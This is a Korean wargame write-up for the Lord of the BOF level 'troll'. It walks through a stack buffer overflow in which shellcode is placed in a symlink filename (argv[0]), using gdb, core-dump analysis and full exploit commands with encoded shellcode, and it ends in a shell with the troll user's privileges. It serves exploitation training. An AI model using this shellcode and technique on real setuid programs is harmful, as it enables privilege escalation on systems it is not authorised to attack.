LOB orge => troll
문제
[orge@localhost orge]$ cat troll.c
/*
The Lord of the BOF : The Fellowship of the BOF
- troll
- check argc + argv hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
// here is changed
if(argc != 2){
printf("argc must be two!\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// one more!
memset(argv[1], 0, strlen(argv[1]));
}
[orge@localhost orge]$
이번 소스 코드에서는 인자가 2개가 아닐 경우 프로그램을 강제 종료하는 부분과 argv[1]의 메모리도 초기화 시켜버리는 부분이 추가되었다. 또한 이러한 상태에서 스택을 이용하여 쉘을 따라고 한다.
풀이
스택에서 쓸만한 부분은 다 초기화 시켜두고 쉘을 따라니 도대체 어떻게 하라는 것인가...? 하고 의문을 가진 와중 곰곰이 생각했을 때 아직 초기화 되지 않은 부분이 있었다. 바로 argv[0] 파일을 실행시키기 위한 첫번째 인자이다. 파일 이름으로 쉘코드를 올려놓고 심볼릭 링크를 이용하여 프로그램을 실행하면 어찌저찌 되지 않을까..? 분석을 하기 위해 tmp 폴더에 troll을 옮겨준 뒤 분석을 하였다.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
--- 생략 ---
---Type <return> to continue, or q <return> to quit---
--- 생략 ---
---Type <return> to continue, or q <return> to quit---
0x8048632 <main+306>: mov %edx,DWORD PTR [%eax]
0x8048634 <main+308>: push %edx
0x8048635 <main+309>: call 0x8048430 <memset>
0x804863a <main+314>: add %esp,12
0x804863d <main+317>: leave
0x804863e <main+318>: ret
0x804863f <main+319>: nop
End of assembler dump.
(gdb)
main과 main+317부분에 bp를 걸고 분석을 해보자.
(gdb) b*main
Breakpoint 1 at 0x8048500
(gdb) r `python -c "print '\xbf'*48"`
Starting program: /home/orge/tmp/troll `python -c "print '\xbf'*48"`
Breakpoint 1, 0x8048500 in main ()
(gdb) x/10000s $esp
--- 생략 ---
0xbffffc0a: "i686"
0xbffffc0f: "/home/orge/tmp/troll"
0xbffffc24: '? <repeats 48 times>
0xbffffc55: "LESSOPEN=|/usr/bin/lesspipe.sh %s"
0xbffffc77: "USERNAME="
0xbffffc81: "HISTSIZE=1000"
0xbffffc8f: "HOSTNAME=localhost.localdomain"
0xbffffcae: "LOGNAME=orge"
0xbffffcbb: "REMOTEHOST=192.168.193.1"
0xbffffcd4: "MAIL=/var/spool/mail/orge"
0xbffffcee: "MACHTYPE=i386-redhat-linux-gnu"
0xbffffd0d: "TERM=xterm"
0xbffffd18: "HOSTTYPE=i386"
0xbffffd26: "PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/orge/bin"
0xbffffd66: "OLDPWD=/home/orge"
0xbffffd78: "HOME=/home/orge"
0xbffffd88: "INPUTRC=/etc/inputrc"
0xbffffd9d: "SHELL=/bin/bash"
0xbffffdad: "USER=orge"
0xbffffdb7: "BASH_ENV=/home/orge/.bashrc"
0xbffffdd3: "DISPLAY=192.168.193.1:0.0"
0xbffffded: "LANG=en_US"
0xbffffdf8: "OSTYPE=linux-gnu"
0xbffffe09: "PWD=/home/orge/tmp"
0xbffffe1c: "SHLVL=2"
0xbffffe24: "LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=0
---Type <return> to continue, or q <return> to quit---
<main+0>
(gdb) b*main+317
Breakpoint 2 at 0x804863d
(gdb) c
Continuing.
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜
Breakpoint 2, 0x804863d in main ()
(gdb) x/10000s $esp
--- 생략 ---
0xbffffc0a: "i686"
0xbffffc0f: "/home/orge/tmp/troll"
0xbffffc24: ""
0xbffffc25: ""
0xbffffc26: ""
0xbffffc27: ""
0xbffffc28: ""
0xbffffc29: ""
0xbffffc2a: ""
0xbffffc2b: ""
0xbffffc2c: ""
0xbffffc2d: ""
0xbffffc2e: ""
0xbffffc2f: ""
0xbffffc30: ""
0xbffffc31: ""
0xbffffc32: ""
0xbffffc33: ""
0xbffffc34: ""
0xbffffc35: ""
0xbffffc36: ""
0xbffffc37: ""
0xbffffc38: ""
0xbffffc39: ""
0xbffffc3a: ""
0xbffffc3b: ""
0xbffffc3c: ""
0xbffffc3d: ""
0xbffffc3e: ""
0xbffffc3f: ""
0xbffffc40: ""
0xbffffc41: ""
<main+317>
보면 예상했던 대로 argv[0] 부분인 0xbffffc0f는 초기화 되지 않았다.
[orge@localhost tmp]$ /bin/bash2
[orge@localhost tmp]$ ln -s troll `python -c "print '\x90'*100 + '\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81'"`
그럼 이제 이렇게 파일 이름이 NOP과 쉘코드로 구성된 심볼릭 링크를 생성해주면 된다. 다만 여기서 유의할 점은 \x2f 즉 "/"가 쉘코드에 섞여있으면 안된다. 그 이유는 쉘코드에 경로를 설정하는 문자열 "/"이 섞여있으면 실행해야할 파일의 경로를 정확히 인식할 수 없기 때문이다. 따라서 \x2f가 없는 쉘코드를 사용하자.
[orge@localhost tmp]$ ./`python -c "print '\x90'*100 + '\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81 ' + 'A'*44+'\x21\xfc\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!?
Segmentation fault (core dumped)
[orge@localhost tmp]$
제대로 심볼릭 링크가 생성되었으면 실행해보자. 세그먼트 오류가 났지만 그래도 기쁘다. 왜냐하면 gdb로 디버깅 할 때 올라가는 메모리와 실제 메모리에는 차이가 있기 때문에 생성된 코어파일만 분석하면 제대로 쉘이 따질 것이다.
[orge@localhost tmp]$ gdb -c -q core
Core was generated by `./?????????????????????????????????????????????????????????????????????????????'.
Program terminated with signal 11, Segmentation fault.
#0 0xbfffffd2 in ?? ()
(gdb) x/100wx $esp
0xbffff940: 0x00000000 0xbffff984 0xbffff990 0x40013868
0xbffff950: 0x00000002 0x08048450 0x00000000 0x08048471
0xbffff960: 0x08048500 0x00000002 0xbffff984 0x08048390
0xbffff970: 0x0804866c 0x4000ae60 0xbffff97c 0x40013e90
0xbffff980: 0x00000002 0xbffffa84 0xbffffb1b 0x00000000
0xbffff990: 0xbffffb4c 0xbffffb5f 0xbffffb78 0xbffffb97
0xbffff9a0: 0xbffffbb9 0xbffffbc3 0xbffffd86 0xbffffda5
0xbffff9b0: 0xbffffdbf 0xbffffdd4 0xbffffdf0 0xbffffdfb
0xbffff9c0: 0xbffffe15 0xbffffe22 0xbffffe2a 0xbffffe34
0xbffff9d0: 0xbffffe44 0xbffffe52 0xbffffe60 0xbffffe71
0xbffff9e0: 0xbffffe7c 0xbffffe8c 0xbffffecc 0x00000000
0xbffff9f0: 0x00000003 0x08048034 0x00000004 0x00000020
0xbffffa00: 0x00000005 0x00000006 0x00000006 0x00001000
0xbffffa10: 0x00000007 0x40000000 0x00000008 0x00000000
0xbffffa20: 0x00000009 0x08048450 0x0000000b 0x000001fb
0xbffffa30: 0x0000000c 0x000001fb 0x0000000d 0x000001fb
0xbffffa40: 0x0000000e 0x000001fb 0x00000010 0x0f8bfbff
0xbffffa50: 0x0000000f 0xbffffa7f 0x00000000 0x00000000
0xbffffa60: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffa70: 0x00000000 0x00000000 0x00000000 0x69000000
0xbffffa80: 0x00363836 0x90902f2e 0x90909090 0x90909090
0xbffffa90: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffaa0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffab0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffac0: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb) q
[orge@localhost tmp]$ ./`python -c "print '\x90'*100 + '\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81 ' + 'A'*44+'\xa0\xfa\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??
bash$ id
uid=507(orge) gid=507(orge) groups=507(orge)
tmp 디렉토리로 옮긴 troll에서 성공적으로 쉘을 땃다. 그럼 이제 본 파일에서 다시 반복해주자.
[orge@localhost orge]$ ln -s troll `python -c "print '\x90'*100+'\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81'"`
[orge@localhost orge]$ ./`python -c "print '\x90'*100 + '\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81 ' + 'A'*44+'\xa0\xfa\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??
bash$ id
uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge)